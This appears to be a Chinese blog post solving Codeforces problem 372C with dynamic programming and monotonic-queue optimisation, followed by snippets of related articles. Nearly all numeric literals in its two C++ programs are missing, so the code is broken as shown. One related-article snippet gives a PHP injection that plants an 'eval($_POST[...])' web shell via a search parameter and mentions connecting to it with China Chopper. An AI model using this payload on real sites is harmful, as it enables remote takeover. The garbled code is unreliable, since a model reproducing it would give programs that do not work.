【单调队列优化】[CF372C] Watching Fireworks is Fun
突然发现我可能单调队列都打不来了...我太菜了...
这道题显然有$$f[i][j]=min\{f[i-1][k]+\vert j-a[i] \vert\}$$
则$ans=\sum_{i=1}^{m} b_i - min_{j=1}^{n}\{f[m][j]\}$
令$len=(t[i]-t[i-1])*d$则其中k满足$$k∈[j-len,j+len]$$
$f[i][]$只与$f[i-1][]$有关,所以可以把第一维压掉
不难弄出一个$O(n^2m)$的代码:
#include<bits/stdc++.h>
#define int long long
#define writeln(x) write(x),puts("")
#define writep(x) write(x),putchar(' ')
using namespace std;
inline int read(){
int ans=,f=;char chr=getchar();
while(!isdigit(chr)){if(chr=='-') f=-;chr=getchar();}
while(isdigit(chr)){ans=(ans<<)+(ans<<)+chr-;chr=getchar();}
return ans*f;
}void write(int x){
if(x<) putchar('-'),x=-x;
if(x>) write(x/);
putchar(x%+'');
}const int M = ;
int f[][M],n,m,d,ans=0x3f3f3f3f,sum;
struct P{int a,b,t;}a[M];
signed main(){
n=read(),m=read(),d=read(),sum=;
for(int i=;i<=m;i++){
int x=read(),y=read(),z=read();
sum+=y;
a[i]=(P){x,y,z};
}
for(int i();i<=n;i++)f[][i]=abs(a[].a-i);
for(int i();i<=m;i++){
memset(f[i&],0x3f,sizeof(f[i&]));
int len=(a[i].t-a[i-].t)*d;
for(int j=;j<=n;j++){
for(int k=max(1ll,j-len);k<=min(j+len,n);k++)
f[i&][j]=min(f[i&][j],f[i&^][k]+abs(a[i].a-j));
if(i==m)ans=min(ans,f[i&][j]);
}
}
cout<<sum-ans<<endl;
return ;
}
但是显然会T,注意到上面k的范围,可以考虑单调队列优化,对于每一次的$i,j$,对$[j-len,j]$跑一次滑动窗口,对$[j,j+len]$跑一次滑动窗口取最小值即可
#include<bits/stdc++.h>
#define int long long
#define writeln(x) write(x),puts("")
#define writep(x) write(x),putchar(' ')
using namespace std;
inline int read(){
int ans=,f=;char chr=getchar();
while(!isdigit(chr)){if(chr=='-') f=-;chr=getchar();}
while(isdigit(chr)){ans=(ans<<)+(ans<<)+chr-;chr=getchar();}
return ans*f;
}void write(int x){
if(x<) putchar('-'),x=-x;
if(x>) write(x/);
putchar(x%+'');
}const int M = ;
int f[][M],n,m,d,ans=0x3f3f3f3f,sum,q[M];
struct P{int a,b,t;}a[M];
signed main(){
n=read(),m=read(),d=read(),sum=;
for(int i=;i<=m;i++){
int x=read(),y=read(),z=read();
sum+=y;a[i]=(P){x,y,z};
}for(int i();i<=n;i++)f[][i]=abs(a[].a-i);
for(int i();i<=m;i++){
int len=(a[i].t-a[i-].t)*d,l=,r=;
for(int j=;j<=n;j++){
while(l<=r&&q[l]<j-len)++l;
while(l<=r&&f[i&^][q[r]]>f[i&^][j])--r;
q[++r]=j;
f[i&][j]=f[i&^][q[l]]+abs(j-a[i].a);
if(i==m)ans=min(ans,f[i&][j]);
}l=,r=;
for(int j=n;j>=;j--){
while(l<=r&&q[l]-len>j)++l;
while(l<=r&&f[i&^][q[r]]>f[i&^][j])--r;
q[++r]=j;
f[i&][j]=min(f[i&][j],f[i&^][q[l]]+abs(j-a[i].a));
if(i==m)ans=min(ans,f[i&][j]);
}
}cout<<sum-ans<<endl;
return ;
}
【单调队列优化】[CF372C] Watching Fireworks is Fun的更多相关文章
- 【简洁易懂】CF372C Watching Fireworks is Fun dp + 单调队列优化 dp优化 ACM codeforces
题目大意 一条街道有$n$个区域. 从左到右编号为$1$到$n$. 相邻区域之间的距离为$1$. 在节日期间,有$m$次烟花要燃放. 第$i$次烟花燃放区域为$a_i$ ,幸福属性为$b_i$,时间为 ...
- BestCoder Round #89 02单调队列优化dp
1.BestCoder Round #89 2.总结:4个题,只能做A.B,全都靠hack上分.. 01 HDU 5944 水 1.题意:一个字符串,求有多少组字符y,r,x的下标能组成等比数列 ...
- 单调队列优化DP,多重背包
单调队列优化DP:http://www.cnblogs.com/ka200812/archive/2012/07/11/2585950.html 单调队列优化多重背包:http://blog.csdn ...
- bzoj1855: [Scoi2010]股票交易--单调队列优化DP
单调队列优化DP的模板题 不难列出DP方程: 对于买入的情况 由于dp[i][j]=max{dp[i-w-1][k]+k*Ap[i]-j*Ap[i]} AP[i]*j是固定的,在队列中维护dp[i-w ...
- [poj3017] Cut the Sequence (DP + 单调队列优化 + 平衡树优化)
DP + 单调队列优化 + 平衡树 好题 Description Given an integer sequence { an } of length N, you are to cut the se ...
- UESTC 880 生日礼物 --单调队列优化DP
定义dp[i][j]表示第i天手中有j股股票时,获得的最多钱数. 转移方程有: 1.当天不买也不卖: dp[i][j]=dp[i-1][j]; 2.当天买了j-k股: dp[i][j]=max(dp[ ...
- poj 1821 Fence 单调队列优化dp
/* poj 1821 n*n*m 暴力*/ #include<iostream> #include<cstdio> #include<cstring> #incl ...
- 使用单调队列优化的 O(nm) 多重背包算法
我搜索了一下,找到了一篇很好的博客,讲的挺详细:链接. 解析 多重背包的最原始的状态转移方程: 令 c[i] = min(num[i], j / v[i]) f[i][j] = max(f[i-1][ ...
- hdu3401:单调队列优化dp
第一个单调队列优化dp 写了半天,最后初始化搞错了还一直wa.. 题目大意: 炒股,总共 t 天,每天可以买入na[i]股,卖出nb[i]股,价钱分别为pa[i]和pb[i],最大同时拥有p股 且一次 ...
随机推荐
- 观察者模式JDK源码解析
由于JDK中为了方便开发人员,已经写好了现成的观察者接口和被观察者类. 先来观察者接口: //观察者接口,每一个观察者都必须实现这个接口 public interface Observer { //这 ...
- 多线程实现奇偶统计v1 - 暴力版
#include <stdio.h> #include <stdlib.h> #include <time.h> #include "pthread.h& ...
- MyBatis使用注解方式实现CRUD操作
一.使用注解后就不需要写SysGroupDaoMapper.xml 只需要在Dao的抽象方法前加上相应的注解就可以. package cn.mg39.ssm01.dao; import java.ut ...
- strcoll - 用当前的区域选项来比较两个字符串
总览 (SYNOPSIS) #include <string.h> int strcoll(const char *s1, const char *s2); 描述 (DESCRIPTION ...
- 搜索solr
这是我第一次写博客,没有系统性.专业性,东西很杂,也不知道自己在写些什么. SOA分布式架构,所以,使用solr,搜索层的服务层需要搭建起来.搜索系统的表现层搭建 ,打包方式是war包 域名改变代表系 ...
- 关于KiCAD的一些插件
关于KiCAD的一些插件 https://gitee.com/KiCAD-CN/KiCad-CN-Forum/blob/master/KiCad_help_zh_CN.md#swapit-%E5%B7 ...
- Codeforces 1149D 最短路 状压DP
题意及思路:https://blog.csdn.net/yzyyylx/article/details/90145400 这题主要巧妙在分析了最短路算法的性质,得出大小小于等于3的连通块一定不会被再次 ...
- PHP构建一句话木马
构建一句话木马,密码为simple: url/search.php?searchtype=5&tid=&area=eval($_POST[simple]) 之后使用菜刀进行链接,密码为 ...
- docker部署coredns
示例: [root@corends coredns]# cd /home/coredns/ [root@corends coredns]# ls -al total drwxr-xr-x root r ...
- 暴力字符串hash——cf1200E
#include<bits/stdc++.h> using namespace std; #define ll long long #define N 1000005 #define mo ...